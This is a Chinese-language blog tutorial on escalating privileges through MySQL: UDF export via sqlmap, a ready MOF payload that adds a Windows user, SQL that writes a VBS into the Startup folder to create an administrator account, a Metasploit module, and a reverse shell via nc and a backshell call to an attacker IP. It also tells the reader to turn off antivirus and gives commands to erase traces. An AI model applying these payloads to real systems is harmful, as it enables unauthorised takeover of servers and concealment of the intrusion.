Mysql提权介绍

系统漏洞利用比较困难的情况下,我们可以采用数据库提权的方式,不过数据库提权有其条件:服务器开启数据库服务以及获取到最高权限用户的密码。除了Access是数据库之外,其他数据库基本都存在数据库提权的可能。

常见密码获取方式

1.读取网站数据库配置文件(了解其命名规则以及查找技巧)

sql data inc config conn database common include

2.读取数据库存储或备份文件(了解其数据库存储格式以及对应内容)

@@basedir/data/数据库名/表名.myd

3.利用脚本暴力猜解(了解数据库是否支持外联以及如何开启外联)

mysql/user/host中的host字段就是可以链接的地址,修改为%就是允许任何地址访问。

获取user数据库下的admin的数据,我们需要查看数据文件中的mysql/data/user/admin.myd

常见的MYSQL提权方式

UDF导出提权

1.mysql<5.1 导出目录 C:/windows或system32,2003放置在c:/windows/system32目录,2000放置于c:\winnt\system32目录下。

2.mysql>=5.1 导出安装目录/lib/plugin/,一般情况下大于5.1版本中的plugin目录是不存在的,所以我们就需要手工创建或者使用NTFS流创建如上。

利用自定义执行函数导出dll文件进行命令执行

select version() select @@basedir

手动创建plugin目录或利用NTFS流创建

select 'x' intodumpfile '目录/lib/plugin::INDEX_ALLOCATION';

利用sqlmap进行UDF提权

我们在sqlmap中执行如下命令

python3 sqlmap.py -d "mysql://root:123456@192.168.252.182:3306/mysql" --os-shell 

其中参数代表的意思是数据库类型://数据库用户名:密码@ip:端口/数据库名

这里sqlmap会自动生成一个dll文件,我们记得将杀毒软件进行关闭,否则dll文件可能被杀软干掉

利用脚本进行UDF提权

这个脚本也是比较方便的,可以直观的获取数据库的基本信息并简化提权步骤

首先我们运行脚本,填写基本信息,点击提交

接下来我们就导出udf,由于我们的版本是5.7.26所以我们导出的位置是mysql安装目录\lib\plugin

导出成功,接着我们创建sys_eval函数

最后我们尝试执行命令,我们可以发现命令成功执行。

MOF提权

MOF提权的条件十分苛刻,大致条件如下:

  • windows 03以下的版本
  • mysql启动身份具有权限读写c:/windows/system32/wbem/mof目录
  • 我们可以使用mysql进行写入操作,也就是secure-file-priv的配置不能为null

我们分析这些条件,首先是03以下的版本,这个条件现在基本上能满足的服务器要么安全防护做得非常好,要么就是一台已经废弃的服务器了。接下来就是需要启动mysql的用户具有读写指定位置的权限,其实有这个权限之后,我们完全可以使用其他的方法进行提权,使用这种鸡肋的方法反而浪费我们的时间。最后一个条件,就是可以向服务器写入文件,这个权限也是很少有服务器开启的,一般都会设置为null

MOF文件

mofwindows系统的一个文件(路径:c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式",起作用是每隔五秒就会去监控进程的创建和死亡。

提权原理

我们可以使用其来提权的原因是,MOF文件每5秒就会执行,而且权限是system,如果我们可以控制执行的内容,那就相当于获得了system的权限,我们可以通过mysql来替换一个mof文件,这个mof中有一段是vbs脚本,这个vbs大多数是cmd的添加管理员的命令。

提权过程

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

在这个脚本中,它会每5秒创建一次test用户,我们可以自定义脚本执行的内容。接下来我们在mysql中执行如下命令将其写入到c:/windows/system32/wbem/mof/目录下。

select load_file("C:/phpstudy/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

这里不能使用outfile,因为其会在文件的末尾写入新行,导致mof在被当作二进制文件的时候无法正常执行。如果我们使用phpstudy来进行测试会失败,因为phpstudy的权限无法修改mof文件。

结束脚本执行

我们了解过之前的提权逻辑之后,我们知道这个脚本会一直执行,就算我们删除帐号,还是会继续创建,所以需要知道如何将脚本停下并清理痕迹。在cmd中执行如下代码

net stop winmgmt
net user ghtwf011 /delete
del c:/windows/system32/wbem/repository
net start winmgmt

启动项提权

启动项是我们在电脑启动之后,会自动执行一些程序,启动项提权的原理就是将我们需要提权命令添加到启动项中,然后等待主机重新启动即可完成提权。

启动项测试

我们可以在菜单中看到启动这个选项,其就是启动项的目录所在地,我们当前测试的路径如下

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

我们可以在这个目录下写一个添加账户的命令

net user test -Ab00__abcd /add

我们将命令写入到一个.bat文件中,这是windows的一个批处理文件类型,紧接着我们重启服务器

重启之后,我们可以看到用户已经被添加

Mysql添加启动项

我们刚才尝试过手动添加启动项了,那么使用mysql来添加启动项的原理就很好理解了,基本上需要满足如下条件:

  • secure_file_priv的值不为null
  • 已经知道mysqlroot账户的密码
  • 可以向启动项目录下写入文件

当满足以上条件之后,我们就可以在mysql中使用命令来向启动项添加一个自启动文件,最终完成提权。

create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"") " ); 
insert into a values ("a=wshshell.run (""cmd.exe /c net user hpdoger 123456 /add"",0) " ); 
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators hpdoger /add"",0) " ); 
select * from a into outfile "C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\a.vbs";

我们远程连接mysql数据库使用root账户登录,然后执行以上命令

最终我们可以看到,在目标主机的启动项下面出现了a.vbs的脚本,我们可以看到其中的内容就是我们在mysql中添加的内容

我们可以看到,我们在代码中写的test用户已经被创建了。

使用MSF添加启动项

添加启动项我们也可以直接使用msf,我们首先在msf中设置如下内容

set username root
set password 123456
set rhosts 192.168.252.182
exploit

我们看到msf提示在目标主机中创建的相应的文件

我们在目标主机中查看是否存在这个文件

由于我们没有设置监听的端口,这里使用的是默认的4444端口,那我们就监听4444端口,然后重启目标主机

最终反弹会了目标主机的shell,(我这里有点小问题)。

反弹shell提权

反弹shell使用的命令是mysql中的backshell函数,由于我们是使用mysql的root账户登录的,所以我们反弹回来的shell也是system权限的。

首先我们需要在攻击机监听端口nc -lvp 12345

接着在目标主机的mysql中执行

select backshell("192.168.252.133",12345);

接下来在我们之前使用的udf提权脚本中进行shell的反弹即可。

参考文章

https://xz.aliyun.com/t/7392

https://xz.aliyun.com/t/2719

最后修改:2020 年 09 月 20 日
如果觉得我的文章对你有用,请随意赞赏